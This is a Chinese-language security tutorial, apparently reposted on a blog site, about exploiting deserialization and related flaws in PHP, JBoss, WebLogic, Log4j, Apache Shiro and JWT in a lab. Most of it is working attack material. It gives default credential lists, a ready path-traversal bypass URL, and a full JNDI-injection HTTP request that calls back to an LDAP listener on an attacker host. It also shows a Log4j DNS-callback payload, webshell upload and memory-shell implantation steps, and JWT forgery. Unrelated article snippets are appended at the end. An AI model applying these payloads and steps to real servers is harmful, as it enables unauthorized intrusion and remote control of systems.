反序列化漏洞(JBoss、apache log4、apache Shiro、JWT)Weblogic未授权访问、代码执行、任意上传

1.1什么是反序列化

      就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。

序列化serialize()


序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{public $test="pikachu";}$s=new S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}     O:代表object1:代表对象名字长度为一个字符S:对象的名称1:代表对象里面有一个变量s:数据类型4:变量名称的长度test:变量名称s:数据类型7:变量值的长度pikachu:变量值

例如:新建sec.php文件,内容如下,放入phpstudy根目录:

<?phpclass s{var $test="123";
}
echo '<br>';
$a=new s();
echo serialize($a);
?>

访问此文件:

http://10.0.0.101:90/sec.php

PHP序列化格式
O:1:"s":1:{s:4:"test";s:3:"123";}

反序列化unserialize()

(大部分为代码审计出来的)

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数(漏洞前提):__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用------------------------------------------漏洞举例:class S{var $test = "pikachu";function __destruct(){echo $this->test;}}$s = $_GET['test'];@$unser = unserialize($a);payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

例如输入序列化内容插入xss攻击代码:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

这段字符串仍然是PHP的序列化格式,但它包含了一个潜在的XSS(跨站脚本攻击)payload。以下是它的解析:

O: 表示这是序列化的一个对象。
1 是对象的引用计数。
"S":1: 指定类名的长度为1个字符,类名为"S"。同样,这里可能是一个简化的或示例类名。
{s:4:"test";s:29:"<script>alert('xss')</script>;"} 描述了对象的属性:
s:4:"test"; 表示有一个名为"test"的属性,长度为4个字符。
s:29:"<script>alert('xss')</script>"; 属性的值是一个29字符长的字符串,包含了一个JavaScript的<script>标签,它会在用户的浏览器中执行,显示一个弹窗,消息内容是"xss"。

 

 成功执行:


 1.2反序列化漏洞产生的原理

serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。


1.3反序列化漏洞实验

2、JBoss中间件:

Jboss反序列化
JBoss 5.x/6.x 反序列化漏洞:

漏洞编号为CVE-2017-12149,这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化

查询是否是boss中间件及指纹信息:

访问/admin-console/http://10.0.0.101:7777/admin-console/

 jboss访问:压缩包名+文件名

如:访问jobfan.war压缩包里的no.jsp文件

 阅览器访问:

http://10.0.0.101:7777/jobfan/no.jsp

 可以执行操作相关命令:


 JMXInvokerServlet 反序列化漏洞:

http://10.0.0.101:7777/jmx-console/invoker/JMXInvokerServlet 如果能下载,说明漏洞存在

JMX Console未授权访问:

http://10.0.0.101:7777/jmx-console/ 通过默认弱口令admin admin部署war马拿Webshell

3、 Weblogic中间件:

1、弱口令 帐号和密码都是weblogic

账户:密码
system:passwordweblogic:weblogicadmin:secruityjoe:passwordmary:passwordsystem:sercuritywlcsystem: wlcsystemweblogic:Oracle@123
http://10.0.0.101:7001/console/login/LoginForm.jsp

 访问资源文件可以命令执行:

http://10.0.0.101:7001/jobfan/no.jsp

2、Java 反序列化漏洞操作(CVE-2018-2628)、 任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725)、未授权访问

 在线工具包NeblogicTool工具:

 dnslog在线平台:

http://www.dnslog.cn/
https://dig.pm/

 

 

 填写url、dnslog及漏洞:

 漏洞选择需要一个个测:

 ============开始检查可回显漏洞============
检查漏洞:CVE_2016_0638_ECHO开始
检查Payload:CommonsCollections3_678
[+]:存在CVE_2016_0638_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
===============检查可回显漏洞完成============

 

 ============检查漏洞:CVE_2020_2551_ECHO开始============
检查Payload:CommonsCollections3_678
[+]存在:CVE_2020_2551_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
============检查漏洞:CVE_2020_2551_ECHO完成============

漏洞命令执行:

 

 冰蝎连接成功:


未授权访问(CVE-2020-14882&14883)

CVE-2020-14882&14883 weblogic未授权访问漏洞

影响版本

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

CVE-2020-14882未授权访问登录后台,未授权URL地址:

http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal
## %252e%252e%252f 解码为 ../ 利用此方式跳过

退出登录:

 阅览器访问未授权URL地址成功进入后台(进不去多试几次)

远程代码执行(CVE-2021-2109)

环境准备:虚拟机win2003运行WebLogic.cmd框架    kali2022安装JNDIExploit-v1.11.jar     

bp抓包工具

CVE-2021-2109  Weblogic Server远程代码执行
JNDI下载及使用说明地址:https://github.com/Jeromeyoung/JNDIExploit-1 

步骤:

上传JNDIExploit-v1.11.jar到kali

查看kali的ip地址:

ip aeth0:101.0.0.200
开启JNDI监听
java -jar JNDIExploit-v1.11.jar -i 101.0.0.200  ##(kali本机IP)

 监听不成功可尝试此条命令来开启JNDI监听:

java --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-v1.11.jar -i 10.0.0.200

 

 使用bp抓包:

http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal

在bp重发器里 修改请求行及添加JNDI注入执行的命令;

 GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22)  HTTP/1.1## 10.0.0;200:1389修改为自己kali的ip地址cmd:whoami## JNDI注入执行的命令

 GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22)  HTTP/1.1
Host: 10.0.0.101:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
cmd:whoami
Cookie: 5bNa_2132_lastvisit=1715649964; oa3T_2132_lastvisit=1715650008; JSESSIONID=_z5_Rv7j9D2EUPX7NzBl_8aS7LNcdepbW3gPHez5QlOCA-xEipob!-2014840; ADMINCONSOLESESSION=QZiASo3zvYejzQ3VHR6tEhMK02CaP4tCZjkYB0aGIEn_1aQgsH6D!-1051510075
Connection: close

注:需修改标红处

 JNDI使用说明相关语句:

 kali显示正常的监听日志:

 可以看到我们的命令执行成功了。


任意文件上传漏洞操作(CVE-2018-2894)

未授权访问路径:(未登录)

http://10.0.0.101:7001/ws_utc/config.do

 修改当前的工作目录

 默认为:

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

修改为: 

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css

 修改目录之后,点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传

 获取响应包:

上传成功:

访问上传的木马文件:

访问连接修改抓包获取的id和文件名(1715849377709_muma.jsp)

http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp

 木马文件成功访问执行:

由此可以使用webshell工具远程控制。


4、apache log4j  (Java日志记录库)

1、Apache Log4j是一个开放源码的Java日志记录库,主要帮助开发人员更轻松地控制日志级别,构建记录器,以及在多种日志目标之间转换,而无需修改日志消息。

2、漏洞影响版本:Apache Log4j 2.x <= 2.14.1

3、漏洞原理:由于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

4、攻击代码:${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}

5、修复方案:JAVA7版本升级至log4j 2.12.4版本,JAVA8及以上版本升级至log4j 2.17.0版本,升级包中移除了对lookup功能的支持,禁用了JNDI方法或移除log4j包中JndiLookup类


5、apache Shiro 框架

(原理:aes加密的密钥泄露导致的反序列化漏洞;需用户在登录时选择“记住我”)

1、Apache Shiro是一个功能强大且易于使用的 Java 安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

2、漏洞影响版本:Shiro-550 Apache 影响版本:Shiro < 1.2.4;Shiro-721 影响版本:Apache shiro<1.4.2

3、apache Shiro-550与721区别 Shiro-550--Apache Shiro框架提供了记住我的功能(RememberMe,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后进行Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

Shiro-721--由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

在kali中配置以下内容:

更新和安装软件包的软件源列表:

#vi /etc/apt/sources.list
deb http://http.kali.org/ kali-rolling main non-free contrib 
deb-src http://http.kali.org/ kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

-----------------------------

更新版本:

#apt-get update           更新软件包列表
#apt-get install docker      更新Docker的版本
#apt-get install docker-compose       更新Docker Compose的版本
#reboot   重启系统

------------------------------
#service docker start        启动Docker服务

这个命令是用于启动Docker守护进程(daemon)。在较新的Ubuntu和Debian系统中,你可能需要使用systemctl来启动Docker服务:sudo systemctl start docker
#docker pull medicean/vulapps:s_shiro_1      拉取Docker镜像

这条命令从Docker Hub或其他注册表中拉取名为medicean/vulapps的镜像,标签为s_shiro_1medicean是镜像的仓库名称,vulapps是镜像的名称,s_shiro_1是该镜像的一个特定版本。
#docker run -d -p 80:8080  medicean/vulapps:s_shiro_1   运行Docker容器

这个命令启动一个新的Docker容器,基于之前拉取的medicean/vulapps:s_shiro_1镜像。-d参数表示在后台运行(detached模式),-p 80:8080将主机的80端口映射到容器的8080端口。这意味着你可以通过访问主机的80端口来访问容器内运行的应用

 

 阅览器访问Apache Shiro:

http://10.0.0.200/  
(kali的ip地址)

 

进行bp抓包登录:(要勾选记住我RememberMe选项)

 bp重发器获取响应包:

 apache Shiro 框架特征

rememberMe=deleteMe

 

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Wed, 15-May-2024 12:03:34 GMT
Set-Cookie: rememberMe=9MLYXEWQzLfO64IKIAvLRSnsOatBalSrJZh9V1FpAJ6mT1PvRwlDGeBHv/aZhqygOO1Blm8FE6weJgmZEXPUw3GjuZ89bSH4eqe0DxEFTSuusE8ncDz5cZm4rN7ceM/K5iLC6cwDz33fFSAxBytDUfKc5odbo32DVpV9vJ9d2OXUcRLdcYNwWW/BjzIPDxho0GGEt34180gosOgJZ6aUa/RdAa99VXkkP4Xn8PQ5CgwNvzHqp3aKnY4NUDnU1uTT9WODNm3d5VMcs3Bq3BwfOf/7DvscVMbuyfuN5meJi+j17pbzs7V6tiJflTKevse75/1xSIuMo+2Fdr6PDOeIcFJRL9f+6QePuo2Akin3vyx63c6zBEGsX58RALnNxojDeBTnBWwBjDlsHkg57EUlqJ+zKh6YEnkhG1NIjD21ISqlPL5okOamleD0AKoJ1TV8Qb3a3CNbR9k+pp7gkrtX9qwC20DR/J6gthi6jdCn12pUVe2ps/y8WmvNrsuWr7qN; Path=/; Max-Age=31536000; Expires=Fri, 16-May-2025 12:03:34 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Thu, 16 May 2024 12:03:34 GMT
Connection: close

在线工具包选择ShiroAttack2工具

 填写目标地址、请求方式后检测当前密钥没有选择爆破密钥:

http://10.0.0.200/

(攻击者获取到密钥就可以进行反序列化)

 爆破利用链及回显:

 

可以执行系统命令: 

 可以植入内存马:

路径:http://10.0.0.200:80/favicondemo.ico
密码:lan2024

 冰蝎远程连接控制成功:

4、攻击工具:shiroAttack、ShiroExp

5、修复方案:(1)升级shiro至最新版本1.7.1;(2)保持shiro版本不变<,修改rememberMe默认密钥;(3)禁用rememberMe功能


6、JWT  库(是Token的一种

1、JWT即Json Web Token的缩写,是Token的一种。用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了,为应用的扩展提供了便利。

2、判断方法:抓包看请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ共三部分组成,类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分(第一部分被称为header,会说明字符串的类型以及加密方式,第二部分被称为payload,包含用户的身份id,是否是管理权限等字段,第三部分是加密部分,对前面的“xxx.yyy”用头部中声明的加密方法进行加密,保证JWT的完整性)

(1)未授权访问:删除Token后仍然可以正常响应对应页面 (2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等 (3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料 (4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期 (5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

 

访问JWT学习在线平台:

https://authlab.digi.ninja/Leaky_JWT
Leaky JWT 漏洞
 使用JWT判断方法:

请求头:Authorization: Bearer

JWT的三个部分:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k

 JWT的官方网站的解码器:https://jwt.io/

https://jwt.io/

 JWT的三个部分:

Header、Payload和Signature。解析每一部分的含义:

1. Header(头部)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Base64解码后得到:

{"alg": "HS256","typ": "JWT"
}

这部分定义了令牌的类型(typ)为JWT,以及签名所使用的算法(alg)为HS256。

2. Payload(载荷)

eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0

Base64解码后得到:

{"level": "admin","password": "2ac9cb7dc02b3c0083eb70898e549b63","username": "joe"
}

Payload包含了声明,这些声明可以是关于用户或其他实体的信息。在这个例子中,它携带了用户名(username)、用户级别(level)以及明文密码(这在实际应用中是非常不安全的,密码应该加密存储且不应该直接放在JWT中)。通常,Payload还会包含诸如过期时间(exp)、发行时间(iat)等标准声明。

3. Signature(签名)

6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k

Signature是通过特定算法将Header和Payload进行加密处理后得到的,用于验证JWT的完整性和真实性。计算Signature时,除了Header和Payload外,还需要一个秘钥(secret),在这个例子中没有提供秘钥,因此无法直接验证Signature的有效性。

请注意,实际应用中,敏感信息(如密码)不应直接存储在JWT中,因为JWT是可以被任何人解码的(尽管不能修改,除非拥有秘钥)。正确的做法是使用JWT作为访问令牌,而密码和其他敏感数据应在服务器端安全存储并进行相应的验证流程。

JWT第二部分的解码登录密码:

cmd5在线平台:https://www.cmd5.com/default.aspx

username为joe

Password为Password1

 进行尝试登录,登陆成功:


 CVE-2019-7644 - JWT Signature Disclosure 漏洞

复制到JWT官网解码:

user修改为admin管理员:

 复制新生成的JWT的第二部分替换原来的JWT的第二部分:

提醒第三部分 签名无效

复制FO8ZDKSDNVnt_VB3f35_ofEMGFDTrv0dVo8hjGXDtn8
替换Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU

 点击Login,登陆成功:


7、安全防范

  • 安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数, 服务器便是用这个来禁止php的执行命令函数

  • (1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 升级中间件

  • 严格控制传入变量,严谨使用魔法函数


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/13565.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS-9配置静态IP地址

查看配置命令nmcli CentOS 9 使用 nmcli 命令行工具进行网络配置。以下是配置静态 IP 地址的步骤和示例代码&#xff1a;相对以前centos7之类的&#xff0c;9版本的默认的网络是NetworkManager&#xff0c;网络配置也有较大改变 nmcli con show用vim进行编辑配文件 cd /etc/…

JavaScript基础(九)

冒泡排序 用例子比较好理解: var arry[7,2,6,3,4,1,8]; //拿出第一位数7和后面依次比较&#xff0c;遇到大的8就换位&#xff0c;8再与后面依次比较&#xff0c;没有能和8换位的数&#xff0c;再从下一位2依次与下面的数比较。 console.log(排列之前&#xff1a;arry); for (…

开源大模型与闭源大模型:技术哲学的较量

目录 前言一、 开源大模型的优势1. 社区支持与合作1.1 全球协作网络1.2 快速迭代与创新1.3 共享最佳实践 2. 透明性与可信赖性2.1 审计与验证2.2 减少偏见与错误2.3 安全性提升 3. 低成本与易访问性3.1 降低研发成本3.2 易于定制化3.3 教育资源丰富 4. 促进标准化5. 推动技术进…

自养号测评是什么?亚马逊产品评价的全新策略

1、什么是亚马逊测评&#xff1a; 亚马逊测评&#xff0c;简而言之&#xff0c;是基于亚马逊购物平台的一种特定活动。他的核心在于模拟国外消费者的购物行为&#xff0c;并在完成购买后&#xff0c;对所获得的产品进行真实、中肯的评价。这种测评不仅为消费者提供了购物参考&…

微软开发者大会,Copilot Agents发布,掀起新一轮生产力革命!

把AI融入生产力工具的未来会是什么样&#xff1f;微软今天给出了蓝图。 今天凌晨&#xff0c;微软召开了Microsoft Build 2024 开发者大会&#xff0c;同前两天的Google I/O开发者大会一样&#xff0c;本次大会的核心词还是“AI”&#xff0c;其中最主要的内容是最新的Copilot…

成都爱尔胡建斌院长提醒近视超过600度,记得每年检查眼底!

高度近视是指近视度数在600度及以上的一种屈光不正的状态。 近视的眼睛必定是变形的。在正常情况下&#xff0c;人的眼球类似球体&#xff0c;但随着近视加深&#xff0c;眼轴变长&#xff0c;眼球体积逐渐增大&#xff0c;整个眼球从圆球型向椭圆球形发展&#xff0c;而眼球壁…

Linux:top命令的每一列的具体含义

Linux&#xff1a;top命令的每一列的具体含义 文章目录 Linux&#xff1a;top命令的每一列的具体含义图片显示top命令的概念语法显示字段的含义顶部字段第二行第三行第四行第五行每列字段的含义 图片显示 top命令的概念 top命令上一个常用的Linux命令行工具&#xff0c;用于实…

php部分特性漏洞学习

php部分函数漏洞学习 简单总结一些我遇到的ctf中的php的一些函数或特性的漏洞&#xff0c;我刷题还是太少了&#xff0c;所以很多例子来自ctfshow&#xff0c;以后遇到相关赛题再更新 1.MD5和其他hash 弱类型比较 php中&#xff0c;有两中判断相等的符号&#xff0c;和&…

位运算符

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 位运算符是把数字看作二进制数来进行计算的&#xff0c;因此&#xff0c;需要先将要执行运算的数据转换为二进制&#xff0c;然后才能进行执行运算。…

[建堆堆排序的时间复杂度推导]向上建堆向下建堆堆排序的时间复杂度分析推导

&#x1f496;&#x1f496;&#x1f496;欢迎来到我的博客&#xff0c;我是anmory&#x1f496;&#x1f496;&#x1f496; 又和大家见面了 欢迎来到动画详解数据结构系列 作为一个程序员你不能不掌握的知识 先来自我推荐一波 个人网站欢迎访问以及捐款 推荐阅读 如何低成本搭…

hypermesh二次开发tcl脚本

hypermesh二次开发tcl脚本 1、tcl读csv文件,得到list,再转成二维数组2、tcl写csv文件3、hypermesh tcl根据读入的节点坐标建节点, 再显示节点号4、hypermesh tcl根据节点号建节点set5、hypermesh tcl根据节点set读取节点号&#xff0c;再根据节点号读取节点坐标&#xff0c;再将…

深度学习之Pytorch框架垃圾分类智能识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 随着城市化进程的加快和人们环保意识的提高&#xff0c;垃圾分类已成为城市管理的重要一环。然而&am…

成本管控:如何利用 SOLIDWORKS Costing 高效估算成本?

现在全球材料短缺、生活成本上升以及能源价格上涨而导致的成本上升问题突显。 生产产品需要的成本以及如何让产品的成本下降就成为很多的企业越来越关注的问题。 SOLIDWORKS Costing是集成到 SOLIDWORKS Professional 和 Premium 中的一款允许用户和制造商估算产品生产成本的工…

判定字符是否唯一

题目链接 判定字符是否唯一 题目描述 注意点 0 < len(s) < 100s[i]仅包含小写字母 解答思路 首先想到的是使用数组存储字母是否出现过&#xff0c;如果多次出现则直接返回false为了不适用额外的数据结构&#xff0c;可以使用位运算判定字符是否唯一&#xff0c;思路…

Wpf 使用 Prism 实战开发Day22

客户端添加IDialogService 弹窗服务 在首页点击添加备忘录或待办事项按钮的时候&#xff0c;希望有一个弹窗&#xff0c;进行相对应的内容添加操作。 一.在Views文件夹中&#xff0c;再创建一个Dialog 文件夹&#xff0c;用于放置备忘录和待办事项的弹窗界面。 1.1 备忘录&…

Python 全栈体系【四阶】(五十二)

第五章 深度学习 十二、光学字符识别&#xff08;OCR&#xff09; 2. 文字检测技术 2.1 CTPN&#xff08;2016&#xff09; 2.1.1 概述 CTPN全称Detecting Text in Natural Image with Connectionist Text Proposal Network&#xff08;基于连接文本提议网络的自然图像文本…

是德科技 DSOS104A MSOS104A示波器

产品 带宽 通道数 最大存储器深度 DSOS104A 高清晰度示波器 1 GHz 4 个模拟通道 800 Mpts MSOS104A 高清晰度示波器 1 GHz 4 个模拟通道和 16 个数字通道 800 Mpts 商品介绍 …

JavaEE-文件IO1

文章目录 一、什么是文件IO?1.1 IO1.2 文件1.2.1 路径1.2.2 文件分类 二、使用Java针对文件系统进行操作 一、什么是文件IO? 1.1 IO IO分别代表Input和Output即输入和输出。比如我的电脑可以从网络上下载文件&#xff0c;也可以通过网络上传文件或者我把我的内存中的数据保…

Vue 离线地图实现

效果图&#xff1a; 一、获取市的地图数据 DataV.geoAtlas 获取市地图数据 点击地图缩放至想要的市区域&#xff0c;通过右侧的链接打开网址&#xff0c;复制json数据。 二、获取镇地图数据 选择你想要的镇数据&#xff0c;点击下载 选择级别&#xff08;清晰度&#xff09…

mysql存储比特位

一、介绍 二、SQL CREATE TABLE bits_table (id INT PRIMARY KEY AUTO_INCREMENT,bit_value BIGINT UNSIGNED );-- 插入一个 8 位的 BIT 值 INSERT INTO bits_table (bit_value) VALUES (B10101010);-- 查询并格式化输出 SELECT id,bit_value,CONCAT(b, LPAD(BIN(bit_value),…